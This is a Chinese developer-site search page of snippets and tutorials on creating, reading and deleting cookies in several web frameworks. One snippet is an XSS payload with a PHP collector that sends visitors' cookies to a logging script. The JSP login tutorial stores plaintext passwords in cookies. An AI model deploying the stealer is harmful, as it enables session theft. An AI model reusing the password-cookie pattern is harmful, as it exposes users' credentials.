精华内容
下载资源
问答
  • java下创建cookie代码,包括了创建跟删除。
  • asp.net Cookie创建以及清除Cookie数组
  • $cookie = $_GET['cookie']; //以GET方式获取cookie变量值 $ip = getenv ('REMOTE_ADDR'); //远程主机IP地址 $time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间 $referer=



    <script>document.write('<img src="http://127.0.0.1/getcookie.php?cookie='+document.cookie+'"width=0 height=0 border=0 />');alert(/XSS/)</script>




    <?php
    $cookie = $_GET['cookie']; //以GET方式获取cookie变量值
    $ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
    $time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
    $referer=getenv ('HTTP_REFERER'); //链接来源
    $agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
    $fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
    fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
    fclose($fp); //关闭文件
    ?>

    展开全文
  • 用JavaScript创建一个欢迎cookie 软件代码编辑器,我用的是editplus;当然还有浏览器。步骤 先在编辑器里写入代码:运行代码,并写入自己的名字:得到欢迎cookie.
  • $this->load->helper('cookie');//或者也可以在autoload配置里面加上cookie那这句就可以去掉了。$cookie = array( 'name' => 'username', 'value' => 'uname', 'expire' => '86500', 'domain' => '.domainname',...

    $this->load->helper('cookie');//或者也可以在autoload配置里面加上cookie那这句就可以去掉了。
    $cookie = array(
        'name'   => 'username',
        'value'  => 'uname',
        'expire' => '86500',
        'domain' => '.domainname',
        'prefix' => 'prefix_'
        );
    set_cookie($cookie);
    codeigniter,以下简称ci.它作为 ci中一个很重要的辅助函数,一般用来用作操作记录,比如购物车数量,产品比较,用户登录等维持会话的记录,它的本型在ci,系统目录下的/system/helpers/cookie_helper.php,这个文件,贴上set_cookie代码:

    if ( ! function_exists('set_cookie'))
    {
    	function set_cookie($name = '', $value = '', $expire = '', $domain = '', $path = '/', $prefix = '', $secure = FALSE)
    	{
    		// Set the config file options
    		$CI =& get_instance();
    		$CI->input->set_cookie($name, $value, $expire, $domain, $path, $prefix, $secure);
    	}
    }

    而我则经常是用set_cookie('cookiename','cookievalue');不想再设置第三个参数了,而默认的expire是为空的,好和删除cookie是一样的,所以设置了也是没用的。要想实现上面的调用方法,就得将原函数的默认值修改一下。

    在应用程序的目录application/helpers/建立一个MY_cookie_helper.php这个文件,将set_cookie这个函数的原型的默认参数改成相应的值就可以了。

    我是这样更改的:将expire设置成0,那cookie就可以存在了,直到我关闭浏览器,域名设成自己想要的。

    贴上代码 :

    function set_cookie($name = '', $value = '', $expire = '0', $domain = '.xgnlvyou.com', $path = '/', $prefix = '', $secure = FALSE)
    {
        // Set the config file options
        $CI =& get_instance();
        $CI->input->set_cookie($name, $value, $expire, $domain, $path, $prefix, $secure);
    }



    展开全文
  • php 创建 Cookie 和取回 Cookie 的值

    万次阅读 2017-02-20 13:42:39
    创建 Cookie 和取回 Cookie 的值 1、Cookie是临时文件的意思,保存你浏览网页的痕迹,让我们再次上同一页面的时候提高网速。还有判断你是否登录过这个网站,登陆过同一网站的话,再次登录的时候有些cookie可以帮你...

    创建 Cookie 和取回 Cookie 的值

    1、Cookie是临时文件的意思,保存你浏览网页的痕迹,让我们再次上同一页面的时候提高网速。还有判断你是否登录过这个网站,登陆过同一网站的话,再次登录的时候有些cookie可以帮你自动登录。


    2、cookie在PHP中的使用方法,包括创建/更新cookie 、取cookie值、删除cookie等用法。


    3、创建/更新cookie,我们使用setCookie()创建一个名为UserName,值为zs,过期时间为6秒。代码如下。

    setCookie("名称","",生存时间);

    setcookie("UserName","zs",time()+6);


    4、用$_COOKIE[]取出UserName的值,放在变量$name中。然后echo $name。代码如下

    $name = $_COOKIE['UserName'];

           echo $name;

     

    5、运行代码,第一次运行,会出现报错,报错的原因是$_Cookie["UserName"]的值不存在。再次刷新,Cookie的值就出来了。

    过了5秒后,再次刷新,又会出现错误,那是因为Cookie缓存已经超过了缓存时间。再次刷新Cookie值又会有了。



    6、 不设置时间         

    如果不设置时间,就不会保存到cookie文件中。浏览器不关时,能够永远访问不会过期。当浏览器关闭时,就无法访问了。

    去掉时间后,在页面上一直刷新,cookie的值一直存在,但我们关掉浏览器再打开时,cookie值已经不存在了。

    setcookie("UserName","zs");



    展开全文
  • jquery 创建 cookie 失败

    2015-04-15 05:34:31
    js代码: ``` $(function(){ $("#sub").click(function(){ alert($("#uname").val()+' '+$("#upwd").val()); $.cookie("uname",$("#uname").val(),{expires:7}...是代码问题 还是我导入的cookie插件问题?
  • 创建:复制代码 代码如下:setcookie(“ICNet[Reg]”, “This is reg cookie”, time() + 3600);setcookie(“ICNet[Active]”, “This is login cookie.”, time() + 3600);print_r($_COOKIE);/*Result:Array ( ...
  • 用户登录后,创建cookie保存用户信息 设置cookie的有效期为5分钟 在登录页循环遍历cookie数组,判断是否存在指定名称的cookie,若存在则直接跳转至欢迎页面 代码实现过程,登录页面输入用户名和密码,点击登陆后,...
    代码要求:
    用户登录后,创建cookie保存用户信息
    设置cookie的有效期为5分钟
    在登录页循环遍历cookie数组,判断是否存在指定名称的cookie,若存在则直接跳转至欢迎页面
    代码实现过程:登录页面输入用户名和密码,点击登陆后,连接数据库,并查找,如果有用户名和密码相同,则设置cookie,进入欢迎页面,并且,设置有效期5分钟的cookie,5分钟内进入登录页面直接跳转至欢迎页面!
    登录页面代码:
    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
    <%
    String path = request.getContextPath();
    String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
    %>
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
      <head>
        <base href="<%=basePath%>">
    
        <title>My JSP 'userLogin.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <!--
    <link rel="stylesheet" type="text/css" href="styles.css">
    -->
      </head> 
      <body>
      <% Cookie[] cookies=request.getCookies();  
         if(cookies!=null){
         for(int i=0;i<cookies.length;i++){
      //cookie名与用户名设置cookie时的键比较
              if(cookies[i].getName().equals("username")){
              response.sendRedirect("welcome.jsp");
              }    
         }
      }
       %>
        <form  action="<%=request.getContextPath()%>/jsp/Login/douser.jsp" method="post" >
        <div>用户名:</div> <input type="text" name="username" value=""> <div id="namediv"></div>
        <div>密码:</div> <input type="password" name="password" value=""> <div id="pwddiv"></div> 
        <input type="submit" value="登录">
        </form>
      </body>
    </html>
    页面如图:
    ![这里写图片描述](https://img-blog.csdn.net/20180817205209614?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2phdmFDaGVuZ1h1WQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)
    跳转页面代码:
    <%@page import="java.net.URLEncoder"%>
    <%@page import="cn.user.userEntity.User"%>
    <%@page import="java.util.List"%> 
    <%@page import="cn.user.userServiceImpl.UserServiceImpl"%>
    <%@page import="cn.user.userService.UserService"%>
    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
    <%
    String path = request.getContextPath();
    String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
    %>
    <%  
    request.setCharacterEncoding("UTF-8");
          //获取客户端输入的用户名和密码
          String username=request.getParameter("username");
      //用户名转为utf-8格式,不转response.addCookie(nameCookie)处可能报错
          String uName=URLEncoder.encode(username, "UTF-8");
          String password=request.getParameter("password");
          String str="欢迎光临:"+username;
           //设置session,有效时间15分钟,将信息传递至欢迎页面
          session.setAttribute("mess", str);
          session.setMaxInactiveInterval(15*60);
          //数据库调取的用户名和密码
          String uname=null;
          String pwd=null;
          //调用java代码获取数据库中的用户名和密码
          UserService service=new UserServiceImpl();
          List<User> list =service.selectUser(username);
              for(User user:list){
                 uname=user.getUsername();
                 pwd=user.getPassword();
              }
    
              if(username.trim().equals(uname) && password.trim().equals(pwd)){
                  //创建cookie
                  out.print(username);
                  Cookie nameCookie=new Cookie("username",uName.trim()); 
                      //cookie设置有效时间5分钟             
                       nameCookie.setMaxAge(5*60);
                       response.addCookie(nameCookie);
                       Cookie pwdCookie =new Cookie("pwd",password.trim());
                        pwdCookie.setMaxAge(5*60);
                       response.addCookie(pwdCookie); 
                        response.sendRedirect("welcome.jsp");          
              }        
     %>
    连接数据库处java代码:
    BaseDao 类:
    package cn.user.userdao;
    
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.PreparedStatement;
    import java.sql.ResultSet;
    import java.sql.SQLException;
    
    
    
    public class BaseDao {
    Connection connection=null;
    PreparedStatement pstmt=null;
    ResultSet rs=null;
    //连接数据库的方法
    public boolean getConnection(){
    try {
    Class.forName("com.mysql.jdbc.Driver");
    String url="jdbc:mysql://localhost:3306/users";
    String user="root";
    String password="abc12345";
    connection=DriverManager.getConnection(url, user, password);
    } catch (ClassNotFoundException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    return false;
    } catch (SQLException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
    return false;
    }
    return true;
    }
    //数据库的增删改
    public int executeSql(String sql,Object...params){
    int updateRows=0;
    if( this.getConnection()){
            try {
    
            pstmt=connection.prepareStatement(sql);
            for(int i=0;i<params.length;i++){
               pstmt.setObject(i+1, params[i]);
            }
             updateRows= pstmt.executeUpdate();      
    } catch (SQLException e) {
    e.printStackTrace();
    }         
            }
    return updateRows;
    }
        //遍历数据库
    public ResultSet selectsql(String sql,Object[] params){
    if(this.getConnection()){
    try {
    pstmt=connection.prepareStatement(sql);
    for(int j=0;j<params.length;j++){
        pstmt.setObject(j+1, params[j]);
    }
         rs=pstmt.executeQuery();
    
    } catch (SQLException e) {
    e.printStackTrace();
    }
    }
    return rs;
    }
    //关闭资源
    public boolean closeSource(){
    if(rs!=null){
        try {
    rs.close();
    } catch (SQLException e) {
    e.printStackTrace();
    return false;
    }
        }
        if(pstmt!=null){
        try {
    pstmt.close();
    } catch (SQLException e) {
    e.printStackTrace();
    return false;
    }
        }
        if(connection!=null){
        try {
    connection.close();
    } catch (SQLException e) {
    e.printStackTrace();
    return false;
    }
        }
           return true;
    }
    }
    // UserDao接口
    package cn.user.userdao;
    
    import java.util.List;
    
    import cn.user.userEntity.User;
    
    public interface UserDao   {
    
    public boolean addInfo(User user);
    public boolean selectName(String name);
    public boolean selectEmail(String email);
    //此处为上述jsp页面连接数据库,调用数据库搜索用户信息的方法
    public List<User> selectUser(String username);
    }
    // 实用类继承BaseDao,并实现UserDao
    package cn.user.userdaoImpl;
    
    import java.sql.ResultSet;
    import java.sql.SQLException;
    import java.util.ArrayList;
    import java.util.List;
    
    import cn.user.userEntity.User;
    import cn.user.userdao.BaseDao;
    import cn.user.userdao.UserDao;
    //UserDao实现类
    public class UserDaoImpl extends BaseDao implements UserDao {
        //插入数据路方法
    public boolean addInfo(User user) {
    boolean flag=false;
    String sql="INSERT INTO users(id,username,PASSWORD,email,phone) VALUES (NULL,?,?,?,?)";
    Object[] params={user.getUsername(),user.getPassword(),user.getEmail(),user.getPhone()};
    //调用增删改方法
    int i= this.executeSql(sql, params);
    if(i>0){
    flag=true;
    }
    return flag; 
    }
    public boolean selectName(String name){
    boolean flag=false;
    String sql="SELECT username FROM users WHERE username=?";
    Object[]params={name};
    ResultSet rs=this.selectsql(sql, params);
    try {
    if(rs.next()){
    flag=true;
    }
    } catch (SQLException e) {
    e.printStackTrace();
    }
    this.closeSource();
    return flag;
    }
    public boolean selectEmail(String email) {
    boolean flag=false;
    String sql="SELECT email FROM users WHERE email=?";
    Object[]params={email};
    ResultSet rs=this.selectsql(sql, params);
    try {
    if(rs.next()){
    flag=true;
    }
    } catch (SQLException e) {
    e.printStackTrace();
    }
    this.closeSource();
    return flag;
    }
    //此处为上述jsp页面连接数据库,调用数据库搜索用户信息的方法
    public List<User> selectUser(String username){
    User user=null;
    List<User> list=new ArrayList<User>();
    String sql="SELECT username,password FROM users WHERE username=?";
    Object[]params={username};
    ResultSet rs=this.selectsql(sql, params);
    System.out.println("1");
    try {
    if(rs.next()){
    user=new User();
    String userName=rs.getString("username");
    String password=rs.getString("password");
    user.setUsername(userName);
    user.setPassword(password);
    list.add(user);
    }
    } catch (SQLException e) {
    e.printStackTrace();
    }
    this.closeSource();
    return list;
    }
    
    }
    // UserService接口 
    package cn.user.userService;
    import java.util.List;
    
    //服务类接口
    import cn.user.userEntity.User;
    
    public interface UserService {
    
        public boolean  addinfo(User user);
    
        public boolean selectName(String name);
        public boolean selectEmail(String email);
    //此处为上述jsp页面连接数据库,调用数据库搜索用户信息的方法
        public List<User> selectUser(String username);
    }
    // UserService接口的实现类
    package cn.user.userServiceImpl;
    //服务实现类
    import java.util.List;
    
    import cn.user.userEntity.User;
    import cn.user.userService.UserService;
    import cn.user.userdao.UserDao;
    import cn.user.userdaoImpl.UserDaoImpl;
    
    public class UserServiceImpl implements UserService{
         private UserDao  userDao;
         public  UserServiceImpl(){
        userDao=new UserDaoImpl();
         }
    public boolean addinfo(User user) {
    boolean flag=userDao.addInfo(user);
    return flag;
    }
    
    public boolean selectName(String name) {
    return userDao.selectName(name);
    }
    public boolean selectEmail(String email) {
    return userDao.selectEmail(email);
    }
    //此处为上述jsp页面连接数据库,调用数据库搜索用户信息的方法
    public List<User> selectUser(String username){
    return userDao.selectUser(username);
    }
    }
    //实体类
    package cn.user.userEntity;
    
    public class User {
    private int id;
    private String  username;
    private String  password;
    private String  email;
    private String  phone;
    public User(String username, String password, String email,
    String phone) {
    this.username = username;
    this.password = password;
    this.email = email;
    this.phone = phone;
    }
    public User(int id, String username, String password, String email,
    String phone) {
    super();
    this.id = id;
    this.username = username;
    this.password = password;
    this.email = email;
    this.phone = phone;
    }
    public User() {
    super();
    // TODO Auto-generated constructor stub
    }
    public int getId() {
    return id;
    }
    public void setId(int id) {
    this.id = id;
    }
    public String getUsername() {
    return username;
    }
    public void setUsername(String username) {
    this.username = username;
    }
    public String getPassword() {
    return password;
    }
    public void setPassword(String password) {
    this.password = password;
    }
    public String getEmail() {
    return email;
    }
    public void setEmail(String email) {
    this.email = email;
    }
    public String getPhone() {
    return phone;
    }
    public void setPhone(String phone) {
    this.phone = phone;
    }
    }
    调用数据库代码结束
    欢迎页面代码:
    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
    <%
    String path = request.getContextPath();
    String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
    %>
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
    <html>
      <head>
        <base href="<%=basePath%>">
    
        <title>My JSP 'MyJsp.jsp' starting page</title>
    
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">    
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <!--
    <link rel="stylesheet" type="text/css" href="styles.css">
    -->
    <script >
         function exit(){
             window.location="jsp/Login/userLogin.jsp";
         }
    </script>
    
      </head>
    
      <body>
                  <%=session.getAttribute("mess").toString() %>
                  <% //设置cookie为5分钟,所以单击退出之后,立马还进入欢迎页面
                  %>
                  <button type="button" onclick="exit();" >退出</button>
    
      </body>
    </html>
    欢迎页面如图:
    ![这里写图片描述](https://img-blog.csdn.net/20180817205245322?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2phdmFDaGVuZ1h1WQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)
    欢迎光临:张三是用session传递过来,有效时间15分钟,cookie5分钟时间过期后,点击退出,跳转到登录页面。
    展开全文
  • 用于创建 cookie 协议面板的简单 Javascript 插件 欧盟接受 Cookie 政策 根据 2015 年 9 月生效的欧盟规则,来自欧盟的每个网站都必须包含使用 cookie 文件的协议。 您网站的这个简单插件符合此规则 安装 将“src/...
  • 你可以使用 JavaScript 来创建和取回 cookie 的值。 有关cookie的例子: 名字 cookie 当访问者首次访问页面时,他或她也许会填写他/她们的名字。名字会存储于 cookie 中。当访问者再次访问网站时,他们会收到类似 ...
  • 该技术是创建一个与要删除的 Cookie 同名的新 Cookie, 并将该 Cookie 的到期日期设置为早于当前日期的某个日期。 当浏览器检查 Cookie 的到期日期时,浏览器便会丢弃这个现已过期的 Cookie。 下面的代码示例演示...
  • 创建并读取cookie

    千次阅读 2014-06-19 17:07:22
    有一个用户名 test, 密码 12345, 请编写一段创建COOKIE的JSP代码, 然后再编写一段读取COOKIE的JSP代码, 在页面上将COOKIE的信息显示出来。 String str = “username= test&password=12345”; Cookie cookie=new...
  • javascript创建和存储cookie,cookie是存储于访问者的计算机中的变量,下面看一下使用示例吧
  • php cookis创建实现代码

    2020-12-18 07:36:44
    复制代码 代码如下:<?php setcookie(“username”,”zhuzhao”,time()+10);//设置cookis保存5秒 ?> 复制代码 代码如下:<?php if(isset($_COOKIE[“username”])) { echo $_COOKIE[“username”]; } else { ...
  • 1、创建cookie 代码如下: HttpCookie cookie = new HttpCookie(“AutoLogin”); cookie.Values.Add(“name”, user.UserName); cookie.Values.Add(“pass”, user.Password); cookie.Expires = DateTime.Now....
  • 插件cookie 在网站主页底部添加嵌入代码,以为使用过的Cookie创建同意横幅。
  • Javascript--cookie创建与查看

    千次阅读 热门讨论 2015-06-24 15:37:41
    创建cookie 下面代码将创建一个cookie,该cookie名称为UserName,值为Paul,过期时间为7天后(2015年6月29日) var date=new Date(); date.setDate((date.getDate()+7)); document.cookie ='UserName='+'Pau
  • 本文实例讲分析了php创建、获取cookie及基础要点。分享给大家供大家参考。具体如下: ...复制代码 代码如下:<...实例中cookie代码解析,及基础要点 1、浏览器打开cookie1.php时,服务器会以信息:Set-Cookie:name=
  • 一、前言  随着项目模块越来越多,很多模块现在都是独立部署。模块之间的交流有时可能会通过cookie来完成。...在默认情况下,出于安全方面的考虑,只有与创建 cookie 的页面处于同一个目录或在创建cookie页面的子目
  • 创建和读取cookie的方法

    万次阅读 2017-10-17 15:34:09
    一、创建Cookie document.cookie = 'key=value';  有特殊字符 使用encodeURIComponent() 进行编码 document.cookie = 'user='+encodeURIComponent('张三;');  读取时 使用decodeURIComponent() 例如:  ...
  • 如何创建 cookie? setcookie() 函数用于设置 cookie。 注释:setcookie() 函数必须位于 <html> 标签之前。 创建您的第一个PHP cookie 当您创建一个cookie,使用函数setcookie,你必须指定三个参数。这些参数...
  • 创建cookie 删除cookie 从Cookie中获取信息 Cmd清单 setCookie(name,value,days) getCookie(name) eraseCookie(name) 为什么要使用轻量级的Cookie管理器来使用full? 加载简单脚本而不是笨重脚本的速度更快 文件...
  • cookie 常用于识别用户。cookie 是服务器留在用户计算机中的小文件。每当相同的计算机通过浏览器请求页面时,它同时会发送 cookie。通过 PHP,您能够创建并取回 cookie 的值。
  • 在网站主页底部添加嵌入代码,以为使用过的Cookie创建同意横幅。 自定义将用户带到隐私策略的链接,该链接将更好地说明如何使用Cookie。 :clipboard: 指示 单击“此网站使用cookie”。 自定义此消息; 单击“了解...
  • cookie :是用户保存在用户浏览器端的一对键值对,是为了解决http的无状态连接。服务端是可以把 cookie写...代码为: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <ti
  • 分享给大家供大家参考。具体分析如下: ...创建cookie 代码如下://向客户端写入Cookie HttpCookie hcUserName1 = new HttpCookie(“uname”); // 创建一个名为uname的cookie hcUserName1.Expires = DateTi
  • C#如何创建、读取cookie

    千次阅读 2012-02-08 21:04:50
    删除Cookie Response.Cookies["Cookiename"].Expires = DateTime.Now.AddDays(-1); ...一、创建cookie,并写入数据:  //创建、写入Cookie  HttpCookie cookie = Request.Cookies["MWS_
  • //创建一个cookie变量user_id=123 echo $_COOKIE['user_id'];//访问 cookie变量 和变通变量一样 setcookie(’user_id’,0,time()-1);//删除cookie变量 // codie end // 该代码不可运行,只是将所有使用方法在这里...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 172,649
精华内容 69,059
关键字:

创建cookie代码